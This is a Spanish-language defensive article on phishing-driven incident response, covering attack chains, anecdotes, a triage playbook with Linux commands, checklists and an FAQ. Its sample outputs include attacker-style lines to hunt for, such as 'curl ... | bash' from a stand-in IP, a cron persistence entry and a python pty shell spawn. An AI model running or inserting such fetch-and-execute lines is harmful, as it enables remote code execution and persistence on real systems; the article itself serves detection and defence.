Un clic de phishing: cómo las empresas acaban en los titulares

La ruta hacia los titulares: clic → credenciales → movimiento → impacto

El phishing no es “un problema de correo electrónico”. Es un problema de identidad y autorización que comienza en el correo y termina donde tu organización confía demasiado en la identidad.

La cadena moderna de phishing suele parecerse a una de estas:

• Recolección de credenciales: el usuario introduce credenciales en una página de inicio de sesión falsa. El atacante las usa de inmediato, a menudo desde infraestructura en la nube cercana a tu región.
• Abuso de consentimiento OAuth: el usuario autoriza una app maliciosa (“Ver documento”) que solicita permisos en Microsoft 365/Google Workspace. No se roba la contraseña; los tokens hacen el trabajo.
• Secuestro de sesión: el atacante roba cookies de sesión o tokens de refresco mediante herramientas de adversario-en-el-medio o malware. El MFA queda burlado con cortesía.
• Ejecución de adjuntos: el usuario ejecuta un archivo que deja un agente. Clásico, pero sigue vivo. El bloqueo de macros ayudó; los atacantes pasaron a LNK, ISO, OneNote, HTML smuggling y cargadores “firmados pero maliciosos”.

Por qué un clic se convierte en un incidente empresarial

Porque es probable que tu arquitectura interna tenga al menos tres de estos “aceleradores de titulares”:

1. Identidades sobreprivilegiadas: el usuario puede acceder a demasiado; los tokens del usuario pueden acceder aún más; las cuentas de servicio son una novela de horror.
2. Redes planas: la segmentación existe en una diapositiva, no en el cable.
3. Detección débil: los registros faltan, no están centralizados o no son consultables a las 2 a.m.
4. Brechas de recuperabilidad: hay copias de seguridad, pero el tiempo de restauración se mide en “semanas más oración”.
5. Confiar en el correo como plano de control: restablecimientos de contraseña, aprobaciones de facturas, cambios de datos bancarios—hechos por correo porque “es más rápido”.

Los atacantes no necesitan sofisticación si tu entorno es generoso. Siguen el camino más corto hacia el dinero: fraude de facturas, desvío de nómina, ransomware, robo de datos, extorsión.

Una cita que vale la pena grapar a tus runbooks: “La esperanza no es una estrategia.” — Gen. Gordon R. Sullivan. No puedes esperar que tus usuarios no hagan clic; diseñas sistemas que sobrevivan cuando lo hacen.

Broma #1: Los correos de phishing son las únicas solicitudes “urgentes” que siempre llegan justo después de que te sirves el café. El universo tiene un sentido impecable del timing y cero empatía.

Datos interesantes y contexto histórico (la clase incómoda)

• El phishing no es nuevo: el término se remonta a las estafas de AOL de mediados de los 90 que apuntaban a nombres de usuario y contraseñas. Lo que cambió fue la escala y la automatización.
• El MFA no eliminó el phishing: desplazó a los atacantes hacia el secuestro de sesiones, la fatiga de push y el abuso de consentimiento OAuth—evasiones nativas de identidad.
• El compromiso de correo empresarial (BEC) suele ser “sin malware”: muchos casos involucran solo credenciales robadas y reglas de bandeja, lo que significa que el antivirus puede estar perfectamente verde mientras tus datos bancarios cambian en silencio.
• A los atacantes les encanta “vivir de los recursos del sistema”: PowerShell, WMI, tareas programadas y herramientas remotas legítimas reducen la necesidad de binarios de malware evidentes.
• Los registros en la nube se convirtieron en la nueva telemetría perimetral: eventos de inicio de sesión, concesiones de tokens y cambios en reglas de buzón muestran a menudo la primera evidencia real de compromiso.
• DNS sigue siendo un eslabón débil: dominios parecidos y dominios recién registrados son comunes; muchos entornos no bloquean dominios recién observados por política.
• Las bandas de ransomware se profesionalizaron: la doble extorsión (encriptar + filtrar) se convirtió en un modelo de negocio; el phishing es uno de los vectores de acceso inicial más baratos.
• La autenticación de correo evolucionó lentamente: SPF y DKIM ayudaron, pero sin una aplicación estricta de DMARC, el spoofing y los dominios parecidos siguen siendo efectivos.
• Las copias de seguridad se convirtieron en objetivo: los atacantes buscan rutinariamente consolas admin, repositorios de backup y derechos para eliminar snapshots temprano en la intrusión.

Tres mini-historias desde las trincheras corporativas

Mini-historia #1: El incidente causado por una suposición equivocada

La empresa tenía “MFA en todas partes”. Esa era la frase. Aparecía en las presentaciones del consejo y en los cuestionarios de proveedores. El equipo de seguridad también lo creía, porque para los inicios de sesión interactivos en el portal SSO principal, se hacía cumplir MFA.

Un analista financiero recibió un convincente correo de “hoja compartida”. El enlace llevaba a una página de inicio de sesión a través de un reverse-proxy. El analista escribió credenciales y aprobó el push de MFA. El atacante capturó la cookie de sesión y la usó inmediatamente desde una VM limpia en la nube. No hubo fuerza bruta. No hubo alerta de viaje imposible, porque el atacante hizo proxy desde una región cercana a la víctima.

La suposición equivocada fue sutil: “MFA significa que el atacante no puede iniciar sesión.” En realidad, el MFA protegía la ceremonia de autenticación, no la sesión posterior. Una vez que existió el token de sesión, el atacante lo usó como un ticket de valet robado.

Pasaron dos días buscando malware en endpoints. No había ninguno. El atacante cambió reglas de buzón para ocultar respuestas, inició cambios de pagos a proveedores y usó la cuenta para hacer phishing interno. El primer indicador real fue una concesión de token OAuth sospechosa en los registros de identidad—encontrada tarde porque esos registros no se ingresaban en el SIEM. La identidad fue la brecha; los endpoints solo fueron testigos.

Mini-historia #2: La optimización que salió mal

TI quería menos tickets. Implementaron un flujo “optimizado” de restablecimiento de contraseñas: los gerentes podían aprobar restablecimientos por correo para sus reportes directos. Redujo la carga del helpdesk y facilitó el onboarding. Todo el mundo aplaudió. ¡Automatización! ¡Eficiencia! ¡Menos humanos!

Luego un gerente senior fue phisheado. El atacante no necesitó acceso de admin. Solo necesitó el buzón de ese gerente. Con él, aprobó un restablecimiento de contraseña para una cuenta con privilegios en la cadena del gerente. El atacante tomó la cuenta privilegiada, luego la usó para añadir nuevos métodos MFA, registrar nuevos dispositivos y crear acceso persistente.

No fue una explotación técnica. Fue una explotación de proceso. La “optimización” convirtió el correo en un plano de control de seguridad. El correo no es un plano de control seguro; es una postal que a veces llega.

La solución fue aburrida: eliminar aprobaciones por correo para restablecimientos, requerir verificación fuera de banda, aplicar separación de cuentas privilegiadas y añadir aprobaciones basadas en flujo de trabajo dentro de un sistema autenticado con trazas de auditoría. Sí, volvió a generar tickets. Los tickets son más baratos que los titulares.

Mini-historia #3: La práctica aburrida pero correcta que salvó el día

Una empresa SaaS mediana tenía una costumbre poco glamorosa: pruebas trimestrales de restauración. No “comprobamos que el job de backup tuvo éxito”. Restauraciones reales en un entorno aislado. Trataban el tiempo de restauración como un SLO.

Cuando un desarrollador hizo clic en un phishing que llevó a la compromisión de un endpoint, el atacante finalmente llegó al clúster de virtualización e intentó cifrar compartidos. También intentó acceder al sistema de backups, pero requería credenciales separadas, forzaba MFA y vivía en una red de gestión con reglas de firewall estrictas. Las snapshots eran inmutables durante una ventana de retención. La eliminación requería una segunda aprobación y un rol admin distinto.

El atacante aún causó daños: algunos compartidos fueron cifrados y varios sistemas necesitaron reconstrucción. Pero la recuperación se midió en horas, no en semanas. Restauraron datos limpios, rotaron credenciales y usaron el incidente para endurecer políticas de acceso condicional.

No había nada llamativo. Eran controles que no funcionan bien en demos. Y funcionaron, porque la confiabilidad es en gran parte el arte de ser poco interesante a escala.

Broma #2: Lo único que escala más rápido que los recursos en la nube es la confianza de alguien que acaba de hacer clic en “Habilitar contenido”.

Playbook de diagnóstico rápido: encuentra el cuello de botella en minutos

Estás de guardia. Alguien reporta un correo sospechoso y “introduje mi contraseña”. O ves un pico en inicios de sesión fallidos, o una transferencia financiera parece incorrecta. El objetivo no es la atribución perfecta. El objetivo es detener la hemorragia rápido y luego entender qué pasó.

Primeros 15 minutos: detener la propagación, preservar evidencia

1. Identificar al usuario y la ventana temporal: obtén la dirección del destinatario, hora del clic, dispositivo usado y si se introdujeron credenciales o se aprobó MFA.
2. Deshabilitar inicio de sesión o forzar revocación de tokens: bloquea la identidad antes de perseguir endpoints.
3. Comprobar reglas de buzón y reenvíos: aquí es donde se esconde BEC.
4. Scopedear inicios de sesión: IPs nuevas, dispositivos nuevos, agentes de usuario nuevos, países/ASNs nuevos, inicios a portales de administración.
5. Buscar concesiones de aplicaciones OAuth: el “consentimiento” puede ser persistencia.

Siguientes 60 minutos: determinar el radio de alcance

1. Comprobar movimiento lateral: llaves SSH nuevas, admins locales nuevos, tareas programadas nuevas, eventos RDP, uso inusual de WinRM.
2. Revisar sistemas privilegiados: cuentas admin de identidad, consolas de backup, gestión de hipervisores, bóvedas de contraseñas.
3. Comprobar egress: conexiones salientes inusuales, transferencias de datos, descargas grandes desde repositorios de archivos.
4. Hunt por el correo de phishing: quién más lo recibió, quién hizo clic, quién introdujo credenciales.

Fase tres: recuperación y endurecimiento

1. Rotar credenciales: contraseñas de usuarios, claves API, secretos de cuentas de servicio y cualquier token que puedas invalidar.
2. Reconstruir cuando sea necesario: no “limpies” hosts críticos a menos que tengas forense madura y una razón.
3. Arreglar el control que falló: política DMARC, acceso condicional, separación de admins, segmentación de red, inmutabilidad de backups.
4. Escribir el postmortem como ingeniero: línea temporal, brecha de detección, acciones de contención y una lista corta de cambios que realmente se harán.

Tareas prácticas con comandos: verificar, decidir, actuar

Estas son comprobaciones prácticas que puedes ejecutar durante el triage. Cada una incluye qué significa la salida y la decisión que tomas. Ajusta nombres de host, usuarios y rutas a tu entorno.

Tarea 1: Confirmar si la máquina del usuario está realizando conexiones salientes sospechosas (Linux)

cr0x@server:~$ sudo ss -tpn state established | head -n 12
ESTAB 0 0 10.20.5.34:48212 104.21.14.55:443 users:(("chrome",pid=2314,fd=123))
ESTAB 0 0 10.20.5.34:48244 203.0.113.44:443 users:(("curl",pid=2891,fd=3))
ESTAB 0 0 10.20.5.34:39510 10.20.0.15:389 users:(("sssd",pid=1120,fd=14))

Qué significa: Buscas procesos inesperados hablando con Internet (p. ej., curl, python, binarios desconocidos) o destinos raros. La conexión LDAP es normal; curl a una IP pública puede no serlo.

Decisión: Si ves procesos o destinos sospechosos, aisla el host (contención de red EDR o cuarentena de firewall) y captura detalles del proceso antes de matar nada.

Tarea 2: Comprobar historial de resolución DNS vía systemd-resolved (Linux)

cr0x@server:~$ sudo journalctl -u systemd-resolved --since "2 hours ago" | grep -E "query|reply" | tail -n 8
Jan 22 09:14:02 host systemd-resolved[713]: Using degraded feature set UDP instead of TCP for DNS server 10.20.0.53.
Jan 22 09:18:11 host systemd-resolved[713]: Querying A phishing-docs-login.com IN A on 10.20.0.53
Jan 22 09:18:11 host systemd-resolved[713]: Reply received from 10.20.0.53 for phishing-docs-login.com IN A: 203.0.113.44

Qué significa: Una consulta reciente para un dominio sospechoso y la IP resuelta. Esto suele ser tu pivote para logs de proxy y bloqueos de firewall.

Decisión: Bloquea el dominio y la IP resuelta en tu capa de seguridad DNS/proxy, luego busca otros clientes que lo hayan consultado.

Tarea 3: Determinar si el host descargó y ejecutó un archivo recientemente (el historial de bash no es prueba, pero es una pista)

cr0x@server:~$ sudo grep -R "curl\|wget\|bash -c" /home/*/.bash_history 2>/dev/null | tail -n 5
/home/alex/.bash_history:curl -fsSL http://203.0.113.44/a.sh | bash

Qué significa: Alguien ejecutó el clásico comando “pipe to bash”. Eso es o un atacante o un desarrollador teniendo un muy mal día.

Decisión: Trátalo como compromiso. Aísla el host, adquiere artefactos forenses y comienza la rotación de credenciales para cualquier secreto accesible desde ese host.

Tarea 4: Encontrar adiciones recientes de administradores locales (Linux)

cr0x@server:~$ sudo journalctl --since "24 hours ago" | grep -E "useradd|usermod|groupadd|gpasswd" | tail -n 10
Jan 21 23:10:07 host usermod[8123]: add 'alex' to group 'sudo'

Qué significa: Se añadió un usuario al grupo sudo. Es un indicador de escalada de privilegios si es inesperado.

Decisión: Verifica el ticket de cambio. Si no hay razón legítima, quita la membresía, rota credenciales y amplía la búsqueda para eventos similares.

Tarea 5: Comprobar authorized_keys de SSH para adiciones inesperadas (Linux)

cr0x@server:~$ sudo find /home -maxdepth 2 -name authorized_keys -type f -exec ls -l {} \; -exec tail -n 2 {} \;
-rw------- 1 alex alex 392 Jan 22 09:20 /home/alex/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP0F... attacker@vm

Qué significa: Una clave SSH nueva añadida recientemente es un mecanismo común de persistencia.

Decisión: Elimina la clave, revisa logs de auth para inicios con ella y rota cualquier clave o token almacenado en ese home.

Tarea 6: Inspeccionar logs de autenticación por inicios SSH anómalos (Linux)

cr0x@server:~$ sudo grep "Accepted" /var/log/auth.log | tail -n 6
Jan 22 09:22:31 host sshd[9211]: Accepted publickey for alex from 203.0.113.44 port 51322 ssh2: ED25519 SHA256:Qm...

Qué significa: Inicio de sesión exitoso desde una IP pública. Si ese host debería ser solo interno, esto es crítico.

Decisión: Bloquea la IP origen, verifica la exposición del firewall, rota claves de usuario e inspecciona qué comandos se ejecutaron después del login (historial de shell, auditd, contabilidad de procesos).

Tarea 7: Buscar tareas programadas / cron sospechosas (Linux)

cr0x@server:~$ sudo crontab -l
*/5 * * * * /usr/bin/curl -fsSL http://203.0.113.44/.x | /bin/bash

Qué significa: Persistencia. También, desparpajo.

Decisión: Elimina la entrada de cron, aísla el host y busca en todo el fleet patrones similares.

Tarea 8: Identificar procesos sospechosos y su cadena parental (Linux)

cr0x@server:~$ ps -eo pid,ppid,user,cmd --sort=-lstart | tail -n 8
2891 2314 alex curl -fsSL http://203.0.113.44/a.sh
2893 2891 alex /bin/bash
2899 2893 alex python3 -c import pty;pty.spawn("/bin/bash")

Qué significa: Un curl que descarga y lanza bash, que a su vez arranca Python y un TTY. Es una típica cadena de trabajo interactiva de un atacante.

Decisión: Captura memoria/detalles de proceso si tienes herramientas; de lo contrario, aísla y reconstruye. No “moles” al atacante por diversión en producción.

Tarea 9: Comprobar conexiones salientes sospechosas en el firewall (ejemplo pfSense vía logs en un host syslog)

cr0x@server:~$ sudo grep "block" /var/log/pfsense.log | grep "203.0.113.44" | tail -n 5
Jan 22 09:25:10 fw filterlog: 5,,,1000000103,igb1,match,block,in,4,0x0,,64,0,0,DF,6,tcp,60,10.20.5.34,203.0.113.44,48244,443,0,S,123456789,,64240,,mss;sackOK;TS;nop;wscale

Qué significa: Un evento de bloqueo confirma que el host intentó conectar a una IP sospechosa. Si ves allows, es peor.

Decisión: Si el tráfico está permitido, añade una regla de bloqueo y revisa logs de proxy por descargas de payload. Si está bloqueado, procede con la investigación del host—los intentos también importan.

Tarea 10: Verificar el estado de la política DMARC para tu dominio (consulta DNS)

cr0x@server:~$ dig +short TXT _dmarc.example.com
"v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com; ruf=mailto:dmarc-fail@example.com; fo=1"

Qué significa: p=none es solo monitoreo. Llevas casco pero no lo abrochas.

Decisión: Planea un movimiento escalonado a p=quarantine y luego a p=reject tras validar remitentes legítimos. Sigue los falsos positivos antes de imponer.

Tarea 11: Comprobar reglas de reenvío inesperadas en Postfix (lado servidor)

cr0x@server:~$ sudo postconf -n | grep -E "smtpd_sender_restrictions|smtpd_recipient_restrictions"
smtpd_sender_restrictions = reject_unknown_sender_domain
smtpd_recipient_restrictions = permit_mynetworks,reject_unauth_destination

Qué significa: Esto valida restricciones del servidor; no mostrará reglas por usuario (esas viven en tu plataforma de correo). Pero te dice si tu MTA es un open relay o permisivo.

Decisión: Si ves comportamiento de relay permisivo, arréglalo inmediatamente. Si la config del servidor es sensata, enfócate en reglas de buzón en la nube y registros de identidad.

Tarea 12: Confirmar que las copias de seguridad son restaurables y no fallan silenciosamente (ejemplo ZFS)

cr0x@server:~$ sudo zpool status -x
all pools are healthy

Qué significa: El pool reporta saludable. Esto es necesario, no suficiente; un pool “saludable” puede aún contener basura cifrada si respaldaste archivos cifrados.

Decisión: Si está unhealthy, arregla el almacenamiento primero. Si está healthy, procede a verificar presencia de snapshots y realiza una prueba de restauración.

Tarea 13: Verificar retención “inmutable” mediante snapshots ZFS (existencia y antigüedad)

cr0x@server:~$ sudo zfs list -t snapshot -o name,creation -s creation | tail -n 5
tank/backups@auto-2026-01-22_0900  Wed Jan 22 09:00 2026
tank/backups@auto-2026-01-22_1000  Wed Jan 22 10:00 2026

Qué significa: Tienes snapshots recientes. Si los snapshots se detienen o faltan, los atacantes podrían haber tocado la programación—o tienes un aburrido problema de fiabilidad que se vuelve de seguridad.

Decisión: Si existen snapshots y están protegidos (¡controles de acceso!), planea restauraciones desde un snapshot previo al compromiso. Si faltan, asume riesgo en la integridad de backups y escala.

Tarea 14: Probar una restauración real para validar la usabilidad del backup (clone ZFS)

cr0x@server:~$ sudo zfs clone tank/backups@auto-2026-01-22_0900 tank/restore-test

cr0x@server:~$ sudo ls -lah /tank/restore-test | head -n 5
total 24K
drwxr-xr-x  6 root root  6 Jan 22 09:00 .
drwxr-xr-x  3 root root  3 Jan 22 10:12 ..
-rw-r--r--  1 root root 12K Jan 22 08:58 accounts.db

Qué significa: Puedes materializar una vista en un punto en el tiempo sin modificar el snapshot original. Así reduces el pánico durante una recuperación por ransomware.

Decisión: Si la restauración funciona, tienes una ruta de recuperación viable. Si falla, no tienes backups—tienes optimismo almacenado en disco.

Tarea 15: Detectar churn de disco repentino que pueda indicar actividad de cifrado (Linux)

cr0x@server:~$ iostat -xm 1 3
Linux 6.5.0 (fileserver)  01/22/2026  _x86_64_ (8 CPU)

Device            r/s     w/s   rMB/s   wMB/s  avgrq-sz avgqu-sz   await  %util
nvme0n1          5.00  820.00    0.20  110.50    270.0     7.20    8.60  98.00

Qué significa: Escrituras secuenciales intensas con alta utilización pueden ser backups… o cifrado masivo. El contexto importa: ¿qué proceso está escribiendo?

Decisión: Correlaciona con I/O de procesos (tarea siguiente). Si es inesperado, aísla el host o revoca acceso a compartidos inmediatamente.

Tarea 16: Identificar qué proceso está sobrecargando el disco (Linux)

cr0x@server:~$ sudo iotop -b -n 1 | head -n 12
Total DISK READ: 0.00 B/s | Total DISK WRITE: 120.00 M/s
  PID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN  IO>  COMMAND
 8122 be/4   www-data    0.00 B/s  95.00 M/s  0.00 %  99.00 %  /usr/bin/python3 /tmp/enc.py

Qué significa: Un script sospechoso escribiendo a alto throughput. Ese es tu arma humeante.

Decisión: Contén ahora. Mata el proceso después de capturar artefactos si puedes hacerlo de forma segura. Prefiere aislamiento de red y snapshot de volúmenes para forense donde esté disponible.

Errores comunes: síntomas → causa raíz → solución

1) “Tenemos MFA, así que esto no puede ser un takeover de cuenta”

Síntomas: Aprobaciones legítimas de MFA pero inicios sospechosos; usuarios insisten en que “solo hicieron MFA una vez y luego nada”.

Causa raíz: Secuestro de sesión / robo de tokens, o concesiones OAuth que crean accesos de larga duración.

Solución: Hacer obligatorio MFA resistente al phishing para usuarios de alto riesgo (FIDO2/WebAuthn), reducir la duración de las sesiones, usar acceso condicional (cumplimiento de dispositivo, basado en riesgo), alertar sobre nuevas concesiones OAuth y anomalías de tokens.

2) “No se encontró malware, así que está bien”

Síntomas: Fraude financiero, reglas de buzón ocultas, conversaciones de correo extrañas, pero endpoints escanean limpio.

Causa raíz: BEC suele ser solo identidad; el atacante vive en el correo en la nube y usa reglas/reenvíos para ocultarse.

Solución: Inspeccionar reglas de buzón, ajustes de reenvío, apps OAuth, historial de inicios de sesión y logs de actividad admin. Tratar la telemetría de identidad como datos de seguridad de primera clase.

3) “Bloqueamos el dominio; incidente cerrado”

Síntomas: Seguridad cierra tras añadir un bloqueo DNS; semanas después otra cuenta muestra comportamiento similar.

Causa raíz: El dominio de phishing fue solo la rampa de entrada. Las credenciales/tokens ya están robados. Además, los atacantes rotan dominios rápidamente.

Solución: Forzar restablecimiento de credenciales, revocar sesiones, revisar reglas de bandeja y cazar receptores/clickers relacionados. Enfócate en identidades y mecanismos de persistencia.

4) “Nuestras copias están bien; los jobs están en verde”

Síntomas: Durante recuperación, las restauraciones fallan o son demasiado lentas; el acceso a la consola de backup es sospechosamente fácil.

Causa raíz: No hay pruebas de restauración, no hay inmutabilidad, las copias comparten el plano admin con producción o las credenciales de backup se reutilizan.

Solución: Implementar retención inmutable de snapshots (cuando sea posible), separar cuentas de administración de backups, aislar redes de backup y ejecutar simulacros de restauración con RTO medido.

5) “Podemos simplemente limpiar el host”

Síntomas: Reinfección, callbacks repetidos, reaparición de tareas programadas o elementos de inicio.

Causa raíz: Persistencia no eliminada completamente; credenciales reutilizadas; el atacante aún tiene acceso de identidad.

Solución: Preferir reconstrucción para sistemas de alto valor; rotar credenciales ampliamente; validar IAM y tokens; re-imagenar endpoints usados para acciones privilegiadas.

6) “La segmentación es muy difícil; lo haremos después”

Síntomas: La compromisión de un usuario permite acceso a compartidos, redes de gestión y sistemas de backup.

Causa raíz: Red plana y caminos administrativos compartidos; confianza implícita interna.

Solución: Segmentar planos de gestión, imponer jump hosts, restringir tráfico este-oeste y requerir identidades privilegiadas separadas.

Listas de verificación / plan paso a paso

Lista de contención (mismo día)

1. Deshabilitar el inicio de sesión del usuario afectado y revocar sesiones/tokens en tu proveedor de identidad.
2. Restablecer la contraseña del usuario y cualquier factor de recuperación relacionado; eliminar métodos MFA añadidos recientemente.
3. Inspeccionar y eliminar reenvíos de buzón, reglas de bandeja, acceso delegado y concesiones sospechosas de apps OAuth.
4. Buscar el correo de phishing en todos los buzones; ponerlo en cuarentena; identificar otros destinatarios y quienes hicieron clic.
5. Aislar el endpoint si hay cualquier signo de ejecución, persistencia o tráfico saliente inusual.
6. Bloquear dominios/IPs asociados a la infraestructura de phishing en capas DNS/proxy/firewall.
7. Verificar sistemas privilegiados: portales admin, consolas de backup, hipervisores y logs de acceso de bóvedas de contraseñas.
8. Iniciar una línea temporal: primer clic, primer inicio sospechoso, primer cambio de política, primer acceso a datos.

Lista de erradicación (esta semana)

1. Rotar credenciales de sistemas expuestos: claves API, cuentas de servicio, claves SSH, contraseñas de bases de datos.
2. Eliminar persistencia no autorizada: cron jobs, tareas programadas, elementos de inicio, usuarios admin nuevos, claves SSH.
3. Reconstruir hosts comprometidos; validar imágenes base; parchear vulnerabilidades en la línea base.
4. Cazar actividad relacionada en todo el fleet (mismos dominios, mismas IPs, mismos IDs de app OAuth, mismos patrones de agente de usuario).
5. Confirmar que los backups están íntegros y restaurables; realizar una prueba de restauración aislada desde un snapshot previo al incidente.

Lista de endurecimiento (este trimestre)

1. Mover DMARC de p=none a aplicación en pasos escalonados; inventariar remitentes legítimos primero.
2. Requerir MFA resistente al phishing para administradores y finanzas; reducir la duración de sesiones para roles de alto riesgo.
3. Separar cuentas privilegiadas: sin correo, sin navegación, sin Slack, sin uso como “daily driver”.
4. Implementar acceso condicional: cumplimiento de dispositivo, riesgo por ubicación, alertas de viaje imposible y protección de tokens donde esté disponible.
5. Segmentar redes: aislamiento del plano de gestión, restricción de SMB/RDP/SSH y filtrado de egress por rol.
6. Proteger backups: plano admin separado, retención inmutable y controles de eliminación que requieran un rol distinto.
7. Centralizar logs: inicios de sesión de identidad, cambios de buzón, eventos de endpoints, proxy/DNS y acciones admin de backup.
8. Ejecutar simulacros de incidentes: table-top más al menos un ejercicio práctico de “deshabilitar usuario + revocar tokens + restaurar datos”.

Preguntas frecuentes

1) Si un usuario hizo clic pero no introdujo credenciales, ¿sigue siendo un incidente?

Puede ser. Un clic puede aún desencadenar descargas drive-by, solicitudes de consentimiento OAuth o cadenas de redirección. Trátalo como un incidente potencial: comprueba inicios de sesión, telemetría del endpoint y si se descargó o ejecutó un archivo.

2) ¿Cuál es la primera acción sobre la cuenta tras confirmarse la entrada de credenciales?

Revocar sesiones/tokens y deshabilitar el inicio de sesión (temporalmente). Un restablecimiento de contraseña solo puede dejar sesiones activas. Quieres cortar el acceso en vivo primero y luego rotar credenciales.

3) ¿Por qué los atacantes cambian reglas de buzón?

Para ocultarse. Archivarán automáticamente respuestas, reenviarán hilos a buzones externos o suprimirán mensajes que contengan palabras clave como “factura”, “transferencia” o “pago”. Es baja tecnología, alto impacto de persistencia.

4) ¿DMARC detiene el phishing?

Detiene algo del spoofing de tu dominio exacto cuando está aplicado. No detiene dominios parecidos, cuentas de proveedores comprometidas o dominios propiedad del atacante. Aun así: aplícalo. Es requisito básico y reduce que tu marca sea usada como arma.

5) ¿Por qué los programas “MFA en todas partes” todavía se ven comprometidos?

Porque no todo MFA es igual y las sesiones tienen valor. El push de MFA puede fatigarse, ser proxiado o ser eludido con tokens robados. MFA resistente al phishing más acceso condicional y sesiones cortas cambia materialmente la economía del atacante.

6) ¿Deberíamos aislar el endpoint inmediatamente?

Si hay algún signo de ejecución, persistencia o conexiones salientes sospechosas, sí. Si es estrictamente robo de credenciales sin señales en endpoints, céntrate primero en la contención de identidad—luego revisa el endpoint sin destruir evidencia innecesariamente.

7) ¿Cuándo reconstruyes versus limpiar un host?

Reconstruye cuando el host es privilegiado, expuesto a Internet o muestra señales de herramientas de atacante/persistencia. “Limpiar” está bien para endpoints de bajo riesgo si tienes un EDR sólido y contención verificada, pero reconstruir suele ser más barato que la incertidumbre.

8) ¿Cómo encajan las copias de seguridad con el phishing, específicamente?

El phishing suele ser el acceso inicial que conduce a ransomware. El ransomware es un incidente de disponibilidad. Si los backups no son inmutables, segmentados y probados, tu plan de recuperación se convierte en un plan de relaciones públicas.

9) ¿Cuál es la fuente de logs más ignorada durante la respuesta a phishing?

Los logs del proveedor de identidad y del admin de correo: inicios de sesión, concesiones de tokens, cambios en reglas de buzón, cambios de reenvío y asignaciones de roles admin. Ahí vive el atacante cuando está “silencioso”.

Conclusión: pasos siguientes que puedes hacer esta semana

Si quieres menos titulares, deja de tratar el phishing como un problema de formación de usuarios. La formación ayuda, pero la arquitectura gana. El clic es inevitable; la catástrofe es opcional.

Haz esto a continuación:

• Haz que los logs de identidad no sean opcionales: ingiere inicios de sesión, concesiones de tokens y eventos de auditoría de buzón en tu logging central para que puedas responder “¿qué pasó?” rápido.
• Endurece los roles que mueven dinero y guardan claves: finanzas, administradores y operadores de backup reciben MFA resistente al phishing y sesiones más cortas.
• Arregla el problema de autoridad del correo: deja de aprobar acciones de alto riesgo por correo. Mueve aprobaciones a sistemas autenticados con trazas de auditoría fuertes.
• Demuestra tus restauraciones: realiza al menos una prueba de restauración desde un snapshot conocido bueno y mídela en tiempo. Si no puedes restaurar rápido, no puedes recuperarte—solo negociarás.
• Escribe un playbook de una página: deshabilitar usuario, revocar tokens, revisar reglas de buzón, cazar receptores, aislar endpoints. Hazlo ejecutable por quien esté despierto.

El phishing no va a desaparecer. Pero puedes hacer que “un clic” sea un ticket, no una toma de control. Esa es la diferencia entre un informe interno de incidente y un ciclo de noticias con tu logo en él.